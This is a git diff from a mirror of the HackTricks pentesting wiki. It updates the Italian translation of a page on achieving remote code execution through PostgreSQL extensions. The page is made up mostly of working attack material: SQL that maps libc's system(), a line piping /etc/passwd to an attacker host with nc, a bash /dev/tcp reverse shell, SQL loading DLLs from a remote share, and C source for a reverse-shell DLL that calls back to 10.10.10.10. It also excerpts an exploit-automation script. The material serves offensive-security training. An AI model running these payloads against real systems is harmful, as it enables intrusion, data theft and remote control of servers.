mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['pentesting-web/sql-injection/postgresql-injection/rce-with-
This commit is contained in:
parent
06e53746d8
commit
2321a9ea7c
1 changed files with 33 additions and 32 deletions
|
@ -2,30 +2,29 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**PEASS ufficiale & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Estensioni PostgreSQL
|
## Estensioni PostgreSQL
|
||||||
|
|
||||||
PostgreSQL è stato sviluppato con l'estensibilità come caratteristica principale, consentendo di integrare senza soluzione di continuità estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
|
PostgreSQL è stato sviluppato con l'estensibilità come caratteristica principale, consentendo di integrare senza problemi estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
|
||||||
|
|
||||||
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilati con un'intestazione speciale. Senza di essa, PostgreSQL non le eseguirà, garantendo l'utilizzo solo di estensioni compatibili e potenzialmente sicure.
|
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilati con un'intestazione speciale. Senza di essa, PostgreSQL non le eseguirà, garantendo l'uso solo di estensioni compatibili e potenzialmente sicure.
|
||||||
|
|
||||||
Inoltre, tieni presente che **se non sai come** [**caricare file sulla vittima sfruttando PostgreSQL, dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
|
Inoltre, tieni presente che **se non sai come** [**caricare file alla vittima sfruttando PostgreSQL dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
|
||||||
|
|
||||||
### RCE in Linux
|
### RCE in Linux
|
||||||
|
|
||||||
**Per ulteriori informazioni, consulta: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
**Per ulteriori informazioni consulta: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||||
|
|
||||||
|
L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo chiaramente documentato e diretto. È possibile utilizzare questo: [modulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||||
L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo che è stato chiaramente documentato ed è semplice. È possibile utilizzare questo: [modulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||||
|
@ -37,9 +36,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Scrivi un file binario da base64</summary>
|
<summary>Scrivere file binario da base64</summary>
|
||||||
|
|
||||||
Per scrivere un file binario in postgres potrebbe essere necessario utilizzare base64, questo sarà utile per tale scopo:
|
Per scrivere un file binario in postgres potresti aver bisogno di utilizzare base64, questo sarà utile a tale scopo:
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||||
$$
|
$$
|
||||||
|
@ -79,20 +78,20 @@ $$ LANGUAGE 'plpgsql';
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Tuttavia, quando è stato tentato su versioni più recenti **è stato mostrato il seguente errore**:
|
Tuttavia, quando è stato tentato su versioni più recenti **è stato mostrato l'errore seguente**:
|
||||||
```c
|
```c
|
||||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||||
```
|
```
|
||||||
Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||||
|
|
||||||
> Per garantire che un file di oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "blocco magico" con i contenuti appropriati. Ciò consente al server di rilevare incompatibilità evidenti, come il codice compilato per una versione principale diversa di PostgreSQL. Un blocco magico è richiesto a partire da PostgreSQL 8.2. Per includere un blocco magico, scrivi questo in uno (e solo uno) dei file di origine del modulo, dopo aver incluso l'intestazione fmgr.h:
|
> Per garantire che un file di oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "blocco magico" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità ovvie, come codice compilato per una diversa versione principale di PostgreSQL. Un blocco magico è richiesto a partire da PostgreSQL 8.2. Per includere un blocco magico, scrivi questo in uno (e solo uno) dei file di origine del modulo, dopo aver incluso l'intestazione fmgr.h:
|
||||||
>
|
>
|
||||||
> `#ifdef PG_MODULE_MAGIC`\
|
> `#ifdef PG_MODULE_MAGIC`\
|
||||||
> `PG_MODULE_MAGIC;`\
|
> `PG_MODULE_MAGIC;`\
|
||||||
> `#endif`
|
> `#endif`
|
||||||
|
|
||||||
A partire dalla versione 8.2 di PostgreSQL, è stato reso più difficile per un attaccante sfruttare il sistema. L'attaccante deve utilizzare una libreria già presente nel sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata con la versione principale compatibile di PostgreSQL e deve includere un "blocco magico" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più approfondita dell'architettura del sistema e della compatibilità delle versioni.
|
Dal versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è stato reso più impegnativo. All'attaccante è richiesto di utilizzare una libreria già presente sul sistema o di caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "blocco magico" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più approfondita dell'architettura del sistema e della compatibilità delle versioni.
|
||||||
|
|
||||||
#### Compilare la libreria
|
#### Compilare la libreria
|
||||||
|
|
||||||
|
@ -131,7 +130,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
||||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||||
#Notice the double single quotes are needed to scape the qoutes
|
#Notice the double single quotes are needed to scape the qoutes
|
||||||
```
|
```
|
||||||
Puoi trovare questa **libreria precompilata** per diverse versioni di PostgreSQL e puoi anche **automatizzare questo processo** (se hai accesso a PostgreSQL) con:
|
Puoi trovare questa **libreria precompilata** per diverse versioni di PostgreSQL e addirittura puoi **automatizzare questo processo** (se hai accesso a PostgreSQL) con:
|
||||||
|
|
||||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||||
|
|
||||||
|
@ -178,13 +177,13 @@ Puoi trovare la DLL compilata in questo zip:
|
||||||
|
|
||||||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||||||
|
|
||||||
Puoi indicare a questa DLL **quale binario eseguire** e il numero di volte da eseguirlo, in questo esempio eseguirà `calc.exe` 2 volte:
|
Puoi indicare a questa DLL **quale binario eseguire** e quante volte eseguirlo, in questo esempio eseguirà `calc.exe` 2 volte:
|
||||||
```bash
|
```bash
|
||||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||||
SELECT remote_exec('calc.exe', 2);
|
SELECT remote_exec('calc.exe', 2);
|
||||||
DROP FUNCTION remote_exec(text, integer);
|
DROP FUNCTION remote_exec(text, integer);
|
||||||
```
|
```
|
||||||
In [**questo link**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) puoi trovare questa reverse-shell:
|
In [**questo link**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) puoi trovare questa shell inversa:
|
||||||
```c
|
```c
|
||||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||||
|
@ -262,21 +261,23 @@ int32 arg = PG_GETARG_INT32(0);
|
||||||
PG_RETURN_INT32(arg + 1);
|
PG_RETURN_INT32(arg + 1);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Nota come in questo caso il **codice maligno è all'interno della funzione DllMain**. Ciò significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta **caricare la DLL** per **eseguire** la reverse shell:
|
Nota come in questo caso il **codice maligno è all'interno della funzione DllMain**. Ciò significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta **caricare la DLL** per **eseguire** il reverse shell:
|
||||||
```c
|
```c
|
||||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||||
```
|
```
|
||||||
|
Il [progetto PolyUDF](https://github.com/rop-la/PolyUDF) è anche un buon punto di partenza con il progetto completo di MS Visual Studio e una libreria pronta all'uso (inclusi: _command eval_, _exec_ e _cleanup_) con supporto multiversione.
|
||||||
|
|
||||||
### RCE nelle versioni più recenti di PostgreSQL
|
### RCE nelle versioni più recenti di PostgreSQL
|
||||||
|
|
||||||
Nelle **ultime versioni** di PostgreSQL sono state imposte delle restrizioni in cui l'utente `superuser` è **proibito** dal **caricare** file di librerie condivise, tranne che da specifiche directory, come ad esempio `C:\Program Files\PostgreSQL\11\lib` su Windows o `/var/lib/postgresql/11/lib` su sistemi \*nix. Queste directory sono **protette** contro le operazioni di scrittura da parte degli account NETWORK\_SERVICE o postgres.
|
Nelle **ultime versioni** di PostgreSQL, sono state imposte restrizioni in cui il `superuser` è **proibito** dal **caricare** file di libreria condivisi tranne che da directory specifiche, come `C:\Program Files\PostgreSQL\11\lib` su Windows o `/var/lib/postgresql/11/lib` su sistemi \*nix. Queste directory sono **protette** contro le operazioni di scrittura da parte degli account NETWORK\_SERVICE o postgres.
|
||||||
|
|
||||||
Nonostante queste restrizioni, è possibile per un utente `superuser` autenticato **scrivere file binari** nel filesystem utilizzando "oggetti di grandi dimensioni" (large objects). Questa capacità si estende alla scrittura all'interno della directory `C:\Program Files\PostgreSQL\11\data`, che è essenziale per le operazioni di database come l'aggiornamento o la creazione di tabelle.
|
Nonostante queste restrizioni, è possibile per un database `superuser` autenticato **scrivere file binari** sul filesystem utilizzando "oggetti grandi". Questa capacità si estende alla scrittura all'interno della directory `C:\Program Files\PostgreSQL\11\data`, che è essenziale per operazioni di database come l'aggiornamento o la creazione di tabelle.
|
||||||
|
|
||||||
Una vulnerabilità significativa deriva dal comando `CREATE FUNCTION`, che **permette la traversa delle directory** nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe **sfruttare questa traversa** per scrivere un file di libreria condivisa nella directory dei dati e quindi **caricarlo**. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo nel sistema.
|
Una vulnerabilità significativa deriva dal comando `CREATE FUNCTION`, che **permette la traversata delle directory** nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe **sfruttare questa traversata** per scrivere un file di libreria condiviso nella directory dei dati e poi **caricarlo**. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo sul sistema.
|
||||||
|
|
||||||
#### Flusso dell'attacco
|
#### Flusso dell'attacco
|
||||||
|
|
||||||
Prima di tutto è necessario **utilizzare oggetti di grandi dimensioni per caricare il file dll**. Puoi vedere come fare ciò qui:
|
Prima di tutto è necessario **usare oggetti grandi per caricare il dll**. Puoi vedere come fare ciò qui:
|
||||||
|
|
||||||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||||
|
@ -287,11 +288,11 @@ Una volta caricata l'estensione (con il nome di poc.dll per questo esempio) nell
|
||||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||||
select connect_back('192.168.100.54', 1234);
|
select connect_back('192.168.100.54', 1234);
|
||||||
```
|
```
|
||||||
_Nota che non è necessario aggiungere l'estensione `.dll` poiché la funzione di creazione la aggiungerà._
|
_Nota che non è necessario aggiungere l'estensione `.dll` poiché la funzione create la aggiungerà._
|
||||||
|
|
||||||
Per ulteriori informazioni **leggi la** [**pubblicazione originale qui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
Per ulteriori informazioni **leggi la** [**pubblicazione originale qui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||||
In quella pubblicazione **questo era il** [**codice utilizzato per generare l'estensione postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_per imparare come compilare un'estensione postgres leggi una delle versioni precedenti_).\
|
In quella pubblicazione **questo era il** [**codice usato per generare l'estensione postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_per imparare come compilare un'estensione postgres leggi una delle versioni precedenti_).\
|
||||||
Nella stessa pagina è stato fornito **uno script per automatizzare** questa tecnica:
|
Nella stessa pagina è stato fornito questo **exploit per automatizzare** questa tecnica:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import sys
|
import sys
|
||||||
|
@ -336,12 +337,12 @@ print(" drop function connect_back(text, integer);")
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR al repository [hacktricks](https://github.com/carlospolop/hacktricks) e al repository [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue